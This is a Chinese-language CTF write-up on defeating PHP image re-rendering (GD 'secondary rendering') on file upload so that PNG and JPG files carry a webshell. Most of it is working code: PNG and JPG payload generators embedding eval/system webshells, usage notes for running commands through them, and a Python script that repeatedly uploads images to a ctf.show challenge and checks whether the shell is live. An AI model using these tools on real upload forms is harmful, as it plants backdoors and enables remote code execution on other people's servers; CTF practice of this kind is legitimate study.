文件上传---二次渲染
PNG二次渲染
脚本直接梭哈
这里的脚本只能生成固定的图片,php内容是<?=$_GET[0]($_POST[1]);?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
010editor分析文件

这里是其他师傅改进的版本,可以写入自定义内容,字母只能是大写字母,否则报错,出现小写字母会报错的奇怪bug
<?php
/* cX<?PHP 不可取消 但可以替换为c<?=
?>X<0x00><0x00> 不可删除。*/
$a='cX<?PHP FILE_PUT_CONTENTS();?>X'.urldecode('%00').urldecode('%00');
$payload_ascii='';
for($i=0;$i<strlen($a);$i++){
$payload_ascii.=bin2hex($a[$i]);
}
$payload_hex=bin2hex(gzinflate(hex2bin($payload_ascii)));
// echo $payload_hex."\n";
preg_match_all('/[a-z0-9]{2}/', $payload_hex, $matches);
$blist=[];
foreach($matches[0] as $key => $value){
$blist[$key]=base_convert($value, 16, 10);
}
function filter1($blist){
for($i=0; $i<(count($blist)-3);$i++){
$blist[$i+3] = ($blist[$i+3] + $blist[$i]) %256;
}
return array_values($blist);
}
function filter3($blist){
for($i=0; $i<(count($blist)-3);$i++){
$blist[$i+3] = ($blist[$i+3] + floor($blist[$i]/2) ) %256;
}
return array_values($blist);
}
$p=array_merge(filter1($blist), filter3($blist));
$img = imagecreatetruecolor(32, 32);
// echo sizeof($p);
for ($y = 0; $y < sizeof($p)-3; $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
// echo $color;
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');

这里提一句,关于为什么png二次渲染可以利用脚本直接生成的我没找到原因,很遗憾。在测试狼组团队师傅所说的通过函数imagecreatefrompng报错绕过二次渲染,在本地使用var_dump测试这个函数处理生成图片时,函数正常运行没有报错。
<?php
$file = './1.png';
var_dump(imagecreatefrompng($file)); # resource(5) of type (gd)

JPG二次渲染
推荐:
- ctfshow web165 jpg二次渲染
- upload-lab pass16 二次渲染
jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染
此处驻留甚久,顾谓后来者
把网站渲染过一次的图片保存下来,使用下面脚本再次渲染,拿到二次渲染图(成果图)
jpg二次渲染脚本
<?php
/*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
# 生成二次渲染的jpg图片
# 此处文件名.php即是上面的生成脚本,文件名.jpg是从服务器下载的一次渲染图
php 文件名.php 文件名.jpg

# 渲染后php木马内容
<?=eval($_POST[1]);?>
如果是自己准备的图片,上传后可能会失败
CTFshow群主推荐的二次渲染专用图

准备了一个脚本,在图片尾部添加随机垃圾字符串,废图利用,变成新图,爆破出可利用的二次渲染图
import requests
import random
import string
# 配置
image_path = 'payload_cola1.jpg' # 图片路径
url = 'http://0092bb15-7d1d-4a6c-8f9d-c9ac4a6076fa.challenge.ctf.show/'
upload_url = url + 'upload.php' # 上传接口 URL
get_url = url + 'download.php?image=' # 访问接口
output_path = 'success_image1.jpg' # 保存路径
def generate_random_string(length):
characters = string.ascii_letters + string.digits + string.punctuation
return ''.join(random.choice(characters) for _ in range(length))
# 读取图片文件
with open(image_path, 'rb') as image_file:
image_data = image_file.read()
while True:
# 生成30到50位长度的随机字符串
random_length = random.randint(30, 50)
text_to_append = generate_random_string(random_length).encode('utf-8') # 要追加的文本
# 追加文本到图片数据
modified_image_data = image_data + text_to_append
# 在图片数据开头插入文本,报错
# modified_image_data = text_to_append + image_data
# 准备上传
files = {'file': ('modified_image.jpg', modified_image_data, 'image/jpeg')}
response = requests.post(upload_url, files=files)
# 获取上传后的状态、文件名
response_json = response.json()
msg = response_json.get("msg")
# 检查响应
if response.status_code == 200:
print('上传成功' + f"-----文件名 {msg}")
# 测试图片接口
img_url = get_url + str(msg)
test_resp = requests.get(img_url)
if test_resp.status_code == 200:
print("图片测试成功")
data = {"1":"phpinfo();"}
eval_resp = requests.post(img_url,data=data)
if "phpinfo" in eval_resp.text:
print("木马已存活...")
# 在成功检测到木马文件后保存修改后的文件
with open(output_path, 'wb') as output_file:
output_file.write(modified_image_data)
print(f'修改后的文件已保存到: {output_path}')
break
else:
print("正在生成木马")
else:
print("图片上传失败,请检查图片")
else:
print(f'上传失败,状态码: {response.status_code}')
print(f'响应内容: {response.text}')

放3组图,分别是原图,一次渲染图,以及成果图


再试一次...

跑一下柴郡
原图

一次渲染

成果图


注意:存在已知bug,图片接受脚本处理后可能损坏,因此会无效死循环
参考: